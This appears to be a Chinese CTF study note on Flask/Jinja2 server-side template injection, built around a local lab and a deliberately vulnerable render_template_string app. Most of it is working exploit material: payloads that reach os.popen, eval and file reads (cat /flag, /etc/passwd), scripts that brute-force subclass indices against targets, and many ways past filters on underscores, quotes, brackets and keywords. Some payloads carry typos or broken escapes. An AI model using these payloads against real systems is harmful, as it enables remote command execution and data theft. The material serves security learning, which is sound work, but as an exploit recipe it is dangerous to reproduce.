[SSTI]总结

SSTI 总结笔记,基本上是在 flask 环境中实现

SSTI

SSTI(Server Side Template Injection,服务器端模板注入),模板指的就是Web开发中所使用的模板引擎(如python 的一些框架 jinja2 mako tornado django,PHP 框架smarty twig,以及 java 框架jade velocity)。模板引擎可以将用户界面和业务数据分离,逻辑代码和业务代码也可以因此分离,代码复用变得简单,开发效率也随之提高。
服务器端使用模板,通过模板引擎对数据进行渲染,再传递给用户,就可以针对特定用户/特定参数生成相应的页面。我们可以类比百度搜索,搜索不同词条得到的结果页面是不同的,但页面的框架是基本不变的。

SSTI 注入的引发,本质是因为没有遵循数据代码分离的原则,导致输入的数据被当成代码执行。将用户传入的 {{xxx}} 当做了变量,至此造成了 SSTI 注入

python 的一些框架 jinja2 mako tornado django,PHP 框架smarty twig,以及 java 框架jade velocity

举个最简单的例子

print("hello {username}")

在这里,username 可控,当我们输入的为 {{7*7}} 的时候,我们提交的参数会被当做变量,当我们传入其他恶意参数的时候,此时开发者有没有对其进行严格的过滤,由此可能会引发任意命令执行

贴一张基本判断的图

eec4b6fd66680b65aca19da426016c95_MD5

venv虚拟环境(类似于docker):创建和管理虚拟环境的模块

用于应对每个组件要求的配套应用版本不同,可以把它想象成一个容器,该容器供你用于存放你的python脚本以及安装各种 python 第三方木块,容器里的环境和本机是完全分开的(就像在 windows 主机上通过 VMware 跑一台 Ubuntu 虚拟机一样),也就是说你在 venv 下通过 pip 安装的 python 第三方模块是不会存在于你本机的环境下的

安装 venv

python --version

apt update

apt install python3.10-venv

创建 venv 环境安装 flask

cd /opt

python3 -m venv flask1创建名为 flask1 的 venv 环境

cd flask1

ls可以看到包含所有 python 组件

f10dc004e86e52f6bac2380ec1c6f31c_MD5

执行 flask1 路径下的 python

法1:/opt/flask1/bin/python3 demo.py绝对路径

法2:

cd flask1 source .bin/activate进入 flask1 虚拟环境

68b0efa3e14f0a24ec0da81f30fde778_MD5

安装 flask

pip3 install flask python3 import flask quit() deactivate退出虚拟环境

c3e0c3947032a5934a780f9881c91cd5_MD5

Flask 是一个使用 python 编写的轻量级 web 应用框架,python 可直接用 flask 启动一个 web 服务页面。

Flask特点:良好的文档、丰富的插件、包含开发服务器和调试器(debugger)、集成支持单元测试、RESTful请求调度、支持安全cookies、基于Unicode。

其 WSGI 工具箱采用 Werkzeng,模板引擎则使用 Jinja2,Flask 使用 BSD 授权。

使用:

/opt.flask1

vim demo.py

from flask import Flask          //启动flask模块创建一个Flask类
app = Flask(__name__)            //name类似于魔术方法调用这个方法能获取到当前app的name如果在程序内部运行得到的是main通过别的程序引入的话就是demo.py

@app.route('/')                  //路由基于字符串查找
def hello():
    return "hello benben"
                 
if __name__ == '__main__':        //只能被python直接运行而不能被作为组件或模块被调用
app.run()

靶场(SSTILAB):

docker pull mcc0624/flask_ssti:last

docker run -p 18022:22 -p 8089:80 -i -t mcc0624/flask_ssti:last

格式化字符串

Flask变量规则,通过向规则参数添加变量部分,可以动态构建URL

b84d599863107b4d171ee0be124d2890_MD5

访问/hello/iamhacker

发现动态创建了一个网页。原理就是通过url传进name变量。

beb367d04be61137e795fad88234410a_MD5

7707e0ffbadc0ef0548c9db0ae8509a2_MD5

flask内置函数

**lipsum**     flask的一个方法,可以用于得到`__builtins__`,而且`lipsum.__globals__`含有os模块:`{{lipsum.__globals__['os'].popen('ls').read()}}`

**url_for**     flask的一个方法,可以用于得到`__builtins__`,而且`url_for.__globals__['__builtins__']`含有`current_app`

**get_flashed_message**     flask的一个方法,可以用于得到`__builtins__`,而且`url_for.__globals__['__builtins__']`含有`current_app`

**attr     **用于获取变量,`""|attr("__class__")`相当于`"".__class__`

flask内置对象

cycler

joiner

namespace

config

request

session

可利用已加载内置函数或对象寻找被过滤字符串

可利用内置函数调用current_app模块进而查看配置文件

current_app

调用current_app相当于调用flask

{{url_for.__globals__['current_app'].config}}

{{get_flashed_messages.__globals__['current_app'].config}}

e40ec13d19891a3ab782ab96e619d5ec_MD5

render_template就是加载html的内容渲染后再展示。在html中的{{xxx}},会被动态变量所替代。

例如

def index():
    m='123'
    return render_template("index.html",m1=m)

index.html中的{{m1}}就会变成m的值。

render_tempplate_string

e9caf3b6ff83a1ad6ee39d62556f69f4_MD5

1c95ded6f0f7cdfeceeed8eab219b70f_MD5

这种写法就不会有漏洞出现。

e0a0ea237602ee616f4ca534c9188897_MD5

先格式化再渲染可能会出现漏洞

fca00dce4a1712a39157e206afd9aaf1_MD5

from importlib.resources import contents
import time
from flask import Flask,request,render_template_string
app = Flask(__name__)
@app.route('/',methods=['GET'])
def index():
    str = request.args.get('ben')
    html_str='''
        <html>
        <head></head>
        <body>{0}</body>
        </html>
    '''.format(str)
    return render_template_string(html_str)
                 
if __name__ == '__main__':
    app.debug = True
    app.run('127.0.0.1','5000')

输入{{7*7}}会得到49

我们来实验一下。

d2779e97fd262471a6859cce82046297_MD5

实验成功

e3266b38e38bab65081fa022aab54df5_MD5

python,flask没有办法直接执行python指令。子类无法做到的事情先找到父类,再找到其他子类。

4df4d578b34b37add230df4f91f412e5_MD5

通过python代码,可知以下信息

继承关系

A是父类,B 是 A 的子类, C D 是 B 的子类

A
B

	C

	D

4c8be70ecb721fa57bcd6cd3b7c96ede_MD5

f19d1b9ccfb8dd856cc69b451f673df9_MD5

__class__     查找当前类型的所属对象

__base__     沿着父子类的关系往上走一个

__mro__     查找当前类对象的所有继承类

__subclasses__()     查找父类下的所有子类

__init__     查看类是否重载,重载是指程序在运行是就已经加载好了这个模块到内存中,如果出现**wrapper**字眼,说明没有重载

__globals__     函数会议字典的形式返回当前对象的全部全局变量(popen、eval)

__builtins__     用于查看当前所有导入的内建函数,当我们启动一个 python 解释器的时候,此时我们没有对任何变量或者函数进行声明,但我们依旧可以调用一些函数,这些函数即为内建函数

__import__     用于动态加载类和函数

__getitem__()     调用字典中的键值,其实就是调用这个魔术方法,比如`a['b']`,就是`a.__getitem__('b')`

__import__     动态加载类和函数,也就是导入模块,经常用于导入os模块,`__import__('os').popen('ls').read()]`

__dic__     类的静态函数、类函数、普通函数、全局变量以及一些内置的属性都是放在类的`__dict__`里

__getattribute__     实例、类、函数都具有的__getattribute__魔术方法。事实上,在实例化的对象进行.操作的时候(形如:a.xxx/a.xxx()),都会自动去调用__getattribute__方法。因此我们同样可以直接通过这个方法来获取到实例、类、函数的属性



object是父子关系的顶端,所有的数据类型最终的父类都是object

type是类型实例关系,所有对象都是type的实例

object和type既是类也是实例,因为object是type的一个实例,但是type又是object的子类,type自己创造了自己,object是type的父类,type创造了object
int():将值转换为int类型;


float():将值转换为float类型;


lower():将字符串转换为小写;


upper():将字符串转换为大写;


title():把值中的每个单词的首字母都转成大写;


capitalize():把变量值的首字母转成大写,其余字母转小写;


trim():截取字符串前面和后面的空白字符;


wordcount():计算一个长字符串中单词的个数;


reverse():字符串反转;


replace(value,old,new): 替换将old替换为new的字符串;


truncate(value,length=255,killwords=False):截取length长度的字符串;


striptags():删除字符串中所有的HTML标签,如果出现多个空格,将替换成一个空格;


escape()或e:转义字符,会将<、>等符号转义成HTML中的符号。显例:content|escape或content|e。


safe(): 禁用HTML转义,如果开启了全局转义,那么safe过滤器会将变量关掉转义。示例: {{'<em>hello</em>'|safe}};


list():将变量列成列表;


string():将变量转换成字符串;


join():将一个序列中的参数值拼接成字符串。示例看上面payload;


abs():返回一个数值的绝对值;


first():返回一个序列的第一个元素;


last():返回一个序列的最后一个元素;


format(value,arags,*kwargs):格式化字符串。比如:{{ "%s" - "%s"|format('Hello?',"Foo!") }}将输出:Helloo? - Foo!


length()/count():返回一个序列或者字典的长度;


sum():返回列表内数值的和;


sort():返回排序后的列表;


default(value,default_value,boolean=false):如果当前变量没有值,则会使用参数中的值来代替。示例:name|default('xiaotuo')----如果name不存在,则会使用xiaotuo来替代。boolean=False默认是在只有这个变量为undefined的时候才会使用default中的值,如果想使用python的形式判断是否为false,则可以传递boolean=true。也可以使用or来替换。

学会自己查找利用点构造 payload

通过 object 查找所有子类

''.__class__.__mro__[-1].__subclasses__()
''.__class__.__base__.__base__.__subclasses__()
''.__class__.__bases__[0].__bases__[0].__subclasses__()

object.__subclasses__()

这里的 **''** 可以替换成 **() {} []**, 但是继承链不一定一样, 需要改一下代码

格式化输出, 方面查看索引位置

for i in enumerate(''.__class__.__mro__[-1].__subclasses__()): print(i)

获取某个子类所在命名空间的所有内容 (子类必须重载过 __init__)

''.__class__.__mro__[-1].__subclasses__()[59].__init__.__globals__
''.__class__.__mro__[-1].__subclasses__()[59].__init__.func_globals

Python 2 两种方式都能用

Python 3 只能用 __globals__

查找对应模块

search = ['os', 'open', 'popen', 'linecache', '__builtins__']
for index, item in enumerate(''.__class__.__mro__[-1].__subclasses__()):
    for name in search:
        try:
            if name in item.__init__.__globals__:
                print(name, index, item)
        except:
            pass

回显如下

('linecache', 59, <class 'warnings.WarningMessage'>)
('__builtins__', 59, <class 'warnings.WarningMessage'>)
('linecache', 60, <class 'warnings.catch_warnings'>)
('__builtins__', 60, <class 'warnings.catch_warnings'>)
('__builtins__', 61, <class '_weakrefset._IterationGuard'>)
('__builtins__', 62, <class '_weakrefset.WeakSet'>)
('os', 72, <class 'site._Printer'>)
('__builtins__', 72, <class 'site._Printer'>)
('os', 77, <class 'site.Quitter'>)
('__builtins__', 77, <class 'site.Quitter'>)
('open', 78, <class 'codecs.IncrementalEncoder'>)
('__builtins__', 78, <class 'codecs.IncrementalEncoder'>)
('open', 79, <class 'codecs.IncrementalDecoder'>)
('__builtins__', 79, <class 'codecs.IncrementalDecoder'>)

通过 os 和 linecache 包执行命令

# os
''.__class__.__mro__[-1].__subclasses__()[72].__init__.__globals__['os'].system('whoami')
''.__class__.__mro__[-1].__subclasses__()[72].__init__.__globals__['os'].popen('whoami').read()

''.__class__.__mro__[-1].__subclasses__()[72].__init__.__globals__['os'].__dict__['system']('whoami')
''.__class__.__mro__[-1].__subclasses__()[72].__init__.__globals__['os'].__dict__['popen']('whoami').read()

# linecache
''.__class__.__mro__[-1].__subclasses__()[59].__init__.__globals__['linecache'].__dict__['os'].system('whoami')
''.__class__.__mro__[-1].__subclasses__()[59].__init__.__globals__['linecache'].__dict__['os'].popen('whoami').read()

通过 __builtins__ 读写文件, 导入模块, 执行代码

''.__class__.__mro__[-1].__subclasses__()[59].__init__.__globals__['__builtins__']['file']('D:/test.txt').read()
''.__class__.__mro__[-1].__subclasses__()[59].__init__.__globals__['__builtins__']['open']('D:/test.txt').read()

''.__class__.__mro__[-1].__subclasses__()[59].__init__.__globals__['__builtins__']['file']('D:/a.txt','w').write('hello')
''.__class__.__mro__[-1].__subclasses__()[59].__init__.__globals__['__builtins__']['open']('D:/a.txt','w').write('hello')

''.__class__.__mro__[-1].__subclasses__()[59].__init__.__globals__['__builtins__']['__import__']('os').system('whoami')

 ''.__class__.__mro__[-1].__subclasses__()[59].__init__.__globals__['__builtins__']['eval']('__import__("os").system("whoami")')

另外, Python2 可以直接通过 **__subclasses__()** 下的 file 读写文件

''.__class__.__mro__[-1].__subclasses__()[40]('/etc/passwd').read()

回显如下

__builtins__ 100 <class '_frozen_importlib._ModuleLock'>
__builtins__ 101 <class '_frozen_importlib._DummyModuleLock'>
__builtins__ 102 <class '_frozen_importlib._ModuleLockManager'>
__builtins__ 103 <class '_frozen_importlib.ModuleSpec'>
__builtins__ 119 <class '_frozen_importlib_external.FileLoader'>
__builtins__ 120 <class '_frozen_importlib_external._NamespacePath'>
__builtins__ 121 <class '_frozen_importlib_external._NamespaceLoader'>
__builtins__ 123 <class '_frozen_importlib_external.FileFinder'>
open 125 <class 'codecs.IncrementalEncoder'>
__builtins__ 125 <class 'codecs.IncrementalEncoder'>
open 126 <class 'codecs.IncrementalDecoder'>
__builtins__ 126 <class 'codecs.IncrementalDecoder'>
open 127 <class 'codecs.StreamReaderWriter'>
__builtins__ 127 <class 'codecs.StreamReaderWriter'>
open 128 <class 'codecs.StreamRecoder'>
__builtins__ 128 <class 'codecs.StreamRecoder'>
open 143 <class 'os._wrap_close'>
popen 143 <class 'os._wrap_close'>
__builtins__ 143 <class 'os._wrap_close'>
open 144 <class 'os._AddedDllDirectory'>
popen 144 <class 'os._AddedDllDirectory'>
__builtins__ 144 <class 'os._AddedDllDirectory'>
__builtins__ 145 <class '_sitebuiltins.Quitter'>
__builtins__ 146 <class '_sitebuiltins._Printer'>
__builtins__ 148 <class 'types.DynamicClassAttribute'>
__builtins__ 149 <class 'types._GeneratorWrapper'>
__builtins__ 150 <class 'warnings.WarningMessage'>
__builtins__ 151 <class 'warnings.catch_warnings'>
__builtins__ 174 <class 'operator.attrgetter'>
__builtins__ 175 <class 'operator.itemgetter'>
__builtins__ 176 <class 'operator.methodcaller'>
__builtins__ 180 <class 'reprlib.Repr'>
__builtins__ 191 <class 'functools.partialmethod'>
__builtins__ 192 <class 'functools.singledispatchmethod'>
__builtins__ 193 <class 'functools.cached_property'>
__builtins__ 196 <class 'contextlib._GeneratorContextManagerBase'>
__builtins__ 197 <class 'contextlib._BaseExitStack'>

Python 3 的利用点主要在 __builtins__ 中 (通过 eval 导入模块), 方法同上

open 和 popen 也能利用

# open
''.__class__.__mro__[-1].__subclasses__()[125].__init__.__globals__['open']('d:/test.txt').read()

# popen
''.__class__.__mro__[-1].__subclasses__()[143].__init__.__globals__['popen']('whoami').read()

Python3,file 类已经取消了,我们可以使用 <class '_frozen_importlib_external.FileLoader'>这个类来读取文件

{{().__class__.__bases__[0].__subclasses__()[79]["get_data"](0, "/etc/passwd")}}
''.__class__.__mro__[-1].__subclasses__()

Python 2 开头几行

[<type 'type'>, <type 'weakref'>, <type 'weakcallableproxy'>, <type 'weakproxy'>, <type 'int'>, <type 'basestring'>, <type 'bytearray'>, <type 'list'>
 ......
 <class 'warnings.WarningMessage'>, <class 'warnings.catch_warnings'>, <class '_weakrefset._IterationGuard'>, <class '_weakrefset.WeakSet'>, <class '_abcoll.Hashable'>, <type 'classmethod'>, <class '_abcoll.Iterable'>, <class '_abcoll.Sized'>
 ......

Python 3 开头几行

[<class 'type'>, <class 'async_generator'>, <class 'int'>, <class 'bytearray_iterator'>, <class 'bytearray'>, <class 'bytes_iterator'>, <class 'bytes'>...

对比一下

Python 2 存在 <type xxx><class xxx>, 而 Python 3 只有 <class xxx>

Python 3 有 async_generator, 虽然 asyncio 是 3.5 引入的, 不过也能作为一个判断依据

Python 3 有bytes_iterator, 因为 bytes 类型有改动, 与 Python 2 相差较大

import requests
url = input("Enter URL: ")
for i in range(500):
    data = {"name":"{{().__class__.__base__.__subclasses__()["+str(i)+"]}}"}    #name为网页传参变量名称
    try:
        response = requests.post(url, data=data)
        if response.status_code == 200:
            if '_frozen_importlib_external.FileLoader' in response.text:
                print(response.text)
                print(i)
    except:
        pass
import requests
headers = {
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.0.0 Safari/537.36'
}
for i in range(500):
    url = "http://644ac504-cb34-4a57-9364-fd881b516b31.challenge.ctf.show/?name={{().__class__.__base__.__subclasses__()["+str(i)+"]}}"
    res = requests.get(url=url, headers=headers)
    if 'FileLoader' in res.text:
        print(i)

常用注入模块

9daef69614c6fef07daf37b71e72cf09_MD5

1be9ce8d3b29d5b48688654de22ecc77_MD5

查找子类_frozen_importlib_external.FileLoader

<class '_frozen_importlib_external.FileLoader'>

FileLoader 的利用

{{''.__class__.__mro__[1].__subclasses__()[79]["get_data"](0,"/etc/passwd")}}

读取配置文件**config**下的FLAG

{{url_fo.__globals__['current_app'].config.FLAG}}

{{get_flashed_messages.__globals__['current_app'].config.FLAG}}

import requests
url = input("Enter URL: ")
for i in range(500):
    data = {"name":"{{().__class__.__base__.__subclasses__()["+str(i)+"].__init__.__globals__['__builtins__']}}"}    #init初始化,builtins内建模块,python会加载内建模块中的函数到内存中
    try:
        response = requests.post(url, data=data)
        if response.status_code == 200:
            if 'eval' in response.text:            #查找哪一个模块下有 eval
                print(response.text)
                print(i)
    except:
        pass

常见的含有 eval 函数的类:

  • warnings.catch_warnings
  • WarningMessage
  • codecs.IncrementalEncoder
  • codecs.IncrementalDecoder
  • codecs.StreamReaderWriter
  • os._wrap_close
  • reprlib.Repr
  • weakref.finalize

{{''.__class__.__bases[0]__.__subclasses__()[65].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("cat /flag").read()')}}

os 模块中有 system 和 popen 两个函数可以用于执行命令,其中 system 函数没有回显,我们需要配合 curl 来外带数据或者反弹 shell,popen 函数执行命令有回显,因此如果可以使用 popen 函数的话我们会优先使用这个

{{''.__class__.__base__[0].__subclasses__()[199].__init__.__globals__['os'].popen("ls /").read()}}

在 python 中,存在类 <class '_frozen_importlib.BuiltinImporter'>,其中可以提供 python 中的 import 语句,如此一来,我们可以利用该类中的 load_module 将 os 模块导入,使用 os 模块来执行命令

{{''.__class__.__base__[0].__subclasses__()[69]["load_module"]("os")["popen"]("ls -l /opt").read()}}

linecache 用于读取任意文件的某一行,这个函数中也引入了 os 模块,因此我们也可以利用这个函数去执行命令

{{''.__class__.__base__.__subclasses__()[191].__init__.__globals__['os'].popen("ls -l /opt").read()}}

从 python 2.4 开始,可以使用 subprocess 这个模块来产生子进程,并且连接到子进程的标准输入/输出/错误中,还可以得到子进程的返回值

subprocess 用于替代其他几个老的模块或者函数,比如 os.system,os.open 等首先遍历含有 linecache 这个函数的子类的索引号

import requests
headers = {
    'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36'
}
for i in range(500):
    url = "http://47.xxx.xxx.72:8000/?name= {{().__class__.__bases__[0].__subclasses__()["+str(i)+"]}}"
    res = requests.get(url=url, headers=headers) 
    if 'linecache' in res.text: print(i)

{{''.__class__.__base__.__subclasses__()[200].('ls /',shell=True,stdout=-1).communicate()[0].strip()}}

例题(重庆橘子科技SSTILAB——jinja2模板注入)

44f44ddb9ba83039c498eb19442a783a_MD5

查看所有子类发现os._wrap_close在第118个所以构造语句

{{''.__class__.__base__.__subclasses__()[117].__init__}}

46c4bf7c07799fcf616235e1e85c244f_MD5

发现没有出现wrapper 字样,说明已经重载可以被利用

{{''.__class__.__base__.__subclasses__()[117].__init__.__globals__}}

看看全局变量有哪些函数可以直接利用

f23b49e1300bf62a765f1a648b10d807_MD5

试了一下发现popen可以利用

1800ec0fabec31b66e072cb366bf12cf_MD5

读一下根目录

18caf5306ddd49289289b4b8c2143cbf_MD5

发现flag

d6ea25b002b042120aa9f539a8e3e68c_MD5

300667d4c8f70f61be6a21bd44d9f858_MD5

尝试{% %}代替

##可以有和{% %}相同的效果

解题思路

判断{{ }}被过滤,尝试{% %}

除此之外,也可以使用 {%print(......)%} 这样的语法来代替 {{,当有 print 的时候,会存在回显

判断语句能否正常执行{% if 2>1 %}world{%endif%},由于 {% if ... %}world{% endif %} 没有回显,所以需要配合 curl 来进行反弹 shell 或者将数据外带用 dnslog 回显

57ccd1b2cd1d89fbe177d51dbef9d7b5_MD5

再构造如下语句{% if ''.__class__ %}worldddd{%endif%}有回显则说明''.__class__有内容

d09f3d7decced2c24e1fbb1a07e17d43_MD5

构造脚本查询可以使用"popen"的子类编号,代码意在判断哪个指令下有 popen 可以利用,那么cat /etc/passwd就能正常执行,回复给 if 的就为 True ,一旦为 True ,就能输出 WORLD 字符

import requests
url = "http://localhost:8089/flasklab/level/2"
for i in range(500):
    data = {"code":'{% if "".__class__.__base__.__subclasses__()[' + str(i) + '].__init__.__globals__["popen"]("cat /etc/passwd").read() %}WORLD{% endif %}'}
    try:
        response = requests.post(url, data=data)
        if response.status_code == 200:
            if "WORLD" in response.text:
                print(i,"-->",data)
                break
    except:
        pass

ff83ded29bc4c099c3222ba006b4abfe_MD5

117模块能直接调用 popen ,使用 print 执行命令

{%print("".__class__.__base__.__subclasses__()[117].__init__.__globals__["popen"]("cat /etc/passwd").read())%}

387a70385e68e46803f6d0adac2eba7c_MD5

getitem()是python 的一个魔术方法,可以用来输出序列属性中的某个索引处的元素

字典使用时,传入字符串,返回字典相对应键所对应的值

列表使用时,传入整数返回列表对应索引的值

c058b4fd2b81ccc28a77a479a8965905_MD5

使用__getitem__可获取列表的某一个值,可以代替[]

{{''.__class__.__base__.__subclasses__()[1]}}

等价于

{{''.__class__.__base__.__subclasses__().__getitem__(1)}}

import requests
url = "http://localhost:8089/flasklab/level/4"
for i in range(500):
    data = {"code":'{{().__class__.__base__.__subclasses__().__getitem__('+str(i)+')}}'}
    try:
        response = requests.post(url, data=data)
        if response.status_code == 200:
            if "_wrap_close" in response.text:
                print(i,"-->",response.text)
                break
    except:
        pass

payload:{{''.__class__.__base__.__subclasses__().__getitem__(117).__init__.__globals__.__getitem__('popen')('cat /etc/passwd').read()}}

''.__class__.__mro__.__getitem__(-1).__subclasses__().get(72).__init__.__globals__.get('os').system('whoami')

pop() 可以返回指定序列属性中的某个索引处的元素,或者指定字典属性中某个键对应的值

{{''.__class__.__mro__.__getitem__(2).__subclasses__().pop(40) ('/etc/passwd').read()}}       // 指定序列属性
{{().__class__.__bases__.__getitem__(0).__subclasses__().pop(59).__init_ _.__globals__.pop('__builtins__').pop('eval')
('__import__("os").popen("ls /").read()')}}       // 指定字典属性

不建议使用这个方法,因为 pop 会删除相应位置的值,但对于这个表达式的 list 来说使用没有问题

除了标准的python语法使用点(.)外,还可以使用中括号([])来访问变量的属性

{{"".__class__}}
{{""['__classs__']}}

''.__class__.__mro__.__getitem__(-1).__subclasses__().__getitem__(72).__init__.__globals__.os.system('whoami')

''.__class__.__mro__.__getitem__(-1).__subclasses__().__getitem__(59).__init__.__globals__.linecache.os.popen('whoami').read()

Flask 环境下测试成功, 但在 python shell 中运行会报错

request在 flask 中可以访问基于 HTTP 请求传递的所有信息,此 request 并非 python 函数,而是在 flask 内部的函数

**request.args.key**获取get传入的key的值

**request.values.x1**所有参数

**request.cookies**获取cookie传入参数

**request.headers**获取请求头请求参数

**request.from.key**获取post传入参数(Content-Type:application/x-www-form-urlencoded 或 multipart/form-data)

**request.data**获取post传入参数(Content-Type:a/b)

**request.json**获取post传入json参数(Content-Type:application/json)


利用 request.args.key** **传参绕过单双引号过滤进行命令执行

GET:?a=popen&b=cat /flag

POST:code={{().__class__.__base__.__subclasses__()[117].__init__.__globals__[**request.args.a**](**request.args.b**).read())}}

0c2b62192517307770e0dda14d333f54_MD5

?name={{x.__init__.__globals__[request.args.x1].eval(request.args.x2)}}&x1=__builtins__&x2=__import__('os').popen('cat /flag').read()

同上

过滤器

过滤器通过管道符|与变量连接,并且在括号中可能有可选的参数

flask常用过滤器

length():获取一个序列或者字典的长度并将其返回

int():将值转换为int类型

float():将值转换为float类型

lower():将字符串转换为小写

upper():将字符串转换为大写

reverse():反转字符串

replace(value,old,new):将value中的old替换为new

list():将变量转换为列表类型

string():将变量转换成字符串类型

join():将一个序列中的参数值拼接成字符串,通常有python内置的dict()配合使用

attr():获取对象的属性

例题

{{.__class__.__base__.__subclasses__().__getitem__(117).__init__.globals__.__getitem__('popen')('cat /flag').read()}}

attr绕过下划线过滤

{{''|attr("__class__")|attr("__base__")|attr("__subclasses__")()|attr("__getitem__")(199)|attr("__init__")|attr("__globals__")|attr("__getitem__")("os")|attr("popen")("cat /flag")|attr("read")()}}

GET:?cla=__class__&base=__base__&sub=__subclasses__&geti=__getitem__&ini=__init__&glo=__globals__

POST:code={{''|attr(request.args.cla)|attr(request.args.base)|attr(request.args.sub)()|attr(request.args.geti)(117)|attr(request.args.ini)|attr(request.args.glo)|attr(request.args.geti)('popen')('cat /flag')|attr('read')()}}

e27978f0bbdd2de63e27e25da93c91c2_MD5

{{''|attr("__class__")|attr("__base__")|attr("__subclasses__")()|attr("__getitem__")(199)|attr("__init__")|attr("__globals__")|attr("__getitem__")("os")|attr("popen")("cat /flag")|attr("read")()}}

将带有__的函数进行 unicode encode

{{''|attr("\u005f\u005f\u0063\u006c\u0061\u0073\u0073\u005f\u005f")|attr("\u005f\u005f\u0062\u0061\u0073\u0065\u005f\u005f")|attr("\u005f\u005f\u0073\u0075\u0062\u0063\u006c\u0061\u0073\u0073\u0065\u0073\u005f\u005f")()|attr("\u005f\u005f\u0067\u0065\u0074\u0069\u0074\u0065\u006d\u005f\u005f")(199)|attr("\u005f\u005f\u0069\u006e\u0069\u0074\u005f\u005f")|attr("\u005f\u005f\u0067\u006c\u006f\u0062\u0061\u006c\u0073\u005f\u005f")|attr("\u005f\u005f\u0067\u0065\u0074\u0069\u0074\u0065\u006d\u005f\u005f")("os")|attr("popen")("cat /flag")|attr("read")()}}

{{''|attr("__class__")|attr("__base__")|attr("__subclasses__")()|attr("__getitem__")(199)|attr("__init__")|attr("__globals__")|attr("__getitem__")("os")|attr("popen")("cat /flag")|attr("read")()}}

将下划线全部替换成\x5f

{{''|attr("\x5f\x5fclass\x5f\x5f")|attr("\x5f\x5fbase\x5f\x5f")|attr("\x5f\x5fsubclasses\x5f\x5f")()|attr("\x5f\x5fgetitem\x5f\x5f")(199)|attr("\x5f\x5finit\x5f\x5f")|attr("\x5f\x5fglobals\x5f\x5f")|attr("\x5f\x5fgetitem\x5f\x5f")("os")|attr("popen")("cat /flag")|attr("read")()}}

未能实现,python3下编码问题

{{''|attr('X19jbGFzc19f'.decode('base64'))|attr('X19iYXNlX18='.decode('base64'))|attr('X19zdWJjbGFzc2VzX18='.decode('base64'))()|attr('X19nZXRpdGVtX18='.decode('base64'))(199)|attr('X19pbml0X18='.decode('base64'))|attr('X19nbG9iYWxzX18='.decode('base64'))|attr('X19nZXRpdGVtX18='.decode('base64'))('os')|attr('popen')('cat /flag')|attr('read')()}}

%c%(95)即下划线

{{''|attr('%c%cclass%c%c'%(95,95,95,95))|attr('%c%cbase%c%c'%(95,95,95,95))|attr('%c%csubclasses%c%c'%(95,95,95,95))()|attr('%c%cgetitem%c%c'%(95,95,95,95))(199)|attr('%c%cinit%c%c'%(95,95,95,95))|attr('%c%cglobals%c%c'%(95,95,95,95))|attr('%c%cgetitem%c%c'%(95,95,95,95))('os')|attr('popen')('cat /flag')|attr('read')()}}

python语法除了可以使用点.来访问对象属性外,还可以用中括号[]

{{()['__class__']['__base__']['__subclasses__']()[117]['__init__']['__globals__']['popen']('cat /flag')['read']()}}

payload语句中不会用到点.和中括号[]

().__class__ 
等同于
()|attr("__class__")

{{()|attr("__class__")|attr("__base__")|attr("__subclasses__") ()|attr("__getitem__") (77)|attr("__init__")|attr("__globals__")|attr("__getitem__") ("os")|attr("popen")("ls /")|attr("read")()}}

过滤class``arg``value``int``global等关键字

class为例

base64

{{().__class__.__bases__[0].__subclasses__() [59].__init__.__globals__['X19idWlsdGluc19f'.decode('base64')] ['ZXZhbA=='.decode('base64')] ('X19pbXBvcnRfXygib3MiKS5wb3BlbigibHMgLyIpLnJlYWQoKQ=='.decode('base64') )}}
//与下面等价
{{().__class__.__bases__[0].__subclasses__() [59].__init__.__globals__['__builtins__']['eval'] ('__import__("os").popen("ls /").read()')}}

Unicode 编码绕过

{{().__class__.__bases__[0].__subclasses__() [59].__init__.__globals__['\u005f\u005f\u0062\u0075\u0069\u006c\u0074\u0 069\u006e\u0073\u005f\u005f']['\u0065\u0076\u0061\u006c'] ('__import__("os").popen("ls /").read()')}}
//等同于
{{().__class__.__bases__[0].__subclasses__() [59].__init__.__globals__['__builtins__']['eval'] ('__import__("os").popen("ls /").read()')}}
{{().__class__.__base__.__subclasses__() [77].__init__.__globals__['\u006f\u0073'].popen('\u006c\u0073\u0020\u002 f').read()}}
//等同于
{{().__class__.__base__.__subclasses__() [77].__init__.__globals__['os'].popen('ls /').read()}}

hex 编码绕过

{{().__class__.__bases__[0].__subclasses__() [59].__init__.__globals__['\x5f\x5f\x62\x75\x69\x6c\x74\x69\x6e\x73\x5f\ x5f']['\x65\x76\x61\x6c']('__import__("os").popen("ls /").read()')}}
{{().__class__.__base__.__subclasses__() [77].__init__.__globals__['\x6f\x73'].popen('\x6c\x73\x20\x2f').read()}}

'__cl'+'ass__'``'__cl''ass__'

{%set a="__cla"%}{%set b="ss__"%}{{a~b}}

{set a="__ssalc__"|reverse%}{{()[a]}}

{set a="__ssalc__"[::-1]%}{{()[a]}}

{set a="__claee__"|replace("ee","ss")%}{{()[a]}}

{%set a=dict(__cla=a,ss__=a)|join%}{{()[a]}}

{%set a=['__cla','ss__']|join%}{{()[a]}}

由于不能直接使用 chr 函数,因此我们需要通过__builtins__来找到 chr

{%set chr=url_for.__globals__['__builtins__'].chr%}{{""[chr(95)%2bchr(95)%2bchr(99)%2bchr(108)%2bchr(95)%2bchr(97)%2bchr(115)%2bchr(115)%2bchr(95)%2bchr(95)]}}

这里贴一个脚本,用于快速构造 ascii 字符

<?php
$a = 'whoami';
$result = ''; 
for($i=0;$i<strlen($a);$i++) 
{
  $result .= 'chr('.ord($a[$i]).')%2b'; 
}
echo substr($result,0,-3); 
?>

过滤器length

de55241eb39dd8f485d9bb8d761b22d6_MD5

通过length去构造我们所需要的数字

{%set a='aaaaaaaaaa'|length %}{{a}} 10

{%set a='aaaaaaaaaa'|length*'aaa'|length %}{{a}}30

{%set a='aaaaaaaaaa'|length*'aaa'|length-'aaa'|length %}{{a}}117

例题

payload:{{''.__class__.__base__.__subclasses__()[199].__init__.__globals__['os'].popen('ls /').read()}}

将数字替换后整段代码由两部分组成,第一部分构造数字,第二部分把数字替换成字母:

{%set a='aaaaaaaaaa'|length*'aaaaaaaaaa'|length*'aa'|length-'a'|length %}{{''.__class__.__base__.__subclasses__()[a].__init__.__globals__['os'].popen('ls /').read()}}

b24b0565bc0ac76b893b9186cf6cb4d0_MD5

dict():用来创建一个字典

join:将一个序列中的参数值拼接成字符串

